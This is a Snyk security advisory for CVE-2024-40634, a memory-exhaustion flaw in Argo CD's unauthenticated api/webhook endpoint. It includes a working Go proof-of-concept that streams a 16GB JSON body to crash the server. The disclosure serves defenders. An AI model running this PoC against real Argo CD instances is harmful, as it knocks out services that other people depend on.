Uncontrolled Resource Consumption ('Resource Exhaustion') Affecting github.com/argoproj/argo-cd/server package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.06% (26th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Uncontrolled Resource Consumption ('Resource Exhaustion') vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMARGOPROJARGOCDSERVER-7547442
  • published23 Jul 2024
  • disclosed22 Jul 2024
  • creditJakub Ciolek

Introduced: 22 Jul 2024

CVE-2024-40634  (opens in a new tab)
CWE-400  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') through the api/webhook endpoint. An attacker can disrupt service availability by sending a specially crafted large JSON payload that triggers excessive memory allocation, leading to an Out of Memory (OOM) kill.

Note:

The api/webhook endpoint does not require authentication by default.

PoC

Port-forward to the argocd-server service:

kubectl port-forward svc/argocd-server -n argocd 8080:443

Run the below code:

package main

import ( "crypto/tls" "io" "net/http" )

// Define a custom io.Reader that generates a large dummy JSON payload. type DummyJSONReader struct { size int64 // Total size to generate read int64 // Bytes already generated }

// Read generates the next chunk of the dummy JSON payload. func (r *DummyJSONReader) Read(p []byte) (n int, err error) { if r.read >= r.size { return 0, io.EOF // Finished generating }

start := false
if r.read == 0 {
    // Start of JSON
    p[0] = '{'
    p[1] = '"'
    p[2] = 'd'
    p[3] = 'a'
    p[4] = 't'
    p[5] = 'a'
    p[6] = '"'
    p[7] = ':'
    p[8] = '"'
    n = 9
    start = true
}

for i := n; i < len(p); i++ {
    if r.read+int64(i)-int64(n)+1 == r.size-1 {
        // End of JSON
        p[i] = '"'
        p[i+1] = '}'
        r.read += int64(i) + 2 - int64(n)
        return i + 2 - n, nil
    } else {
        p[i] = 'x' // Dummy data
    }
}

r.read += int64(len(p)) - int64(n)
if start {
    return len(p), nil
}
return len(p) - n, nil

}

func main() { // Initialize the custom reader with the desired size (16GB in this case). payloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB reader := &DummyJSONReader{size: payloadSize}

// HTTP client setup
httpClient := &http.Client{
    Timeout: 0, // No timeout
    Transport: &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    },
}

req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader)
if err != nil {
    panic(err)
}

// Set headers
req.Header.Set("Content-Type", "application/json")
req.Header.Set("X-GitHub-Event", "push")

resp, err := httpClient.Do(req)
if err != nil {
    panic(err)
}
defer resp.Body.Close()

println("Response status code:", resp.StatusCode)

}

CVSS Scores

version 4.0
version 3.1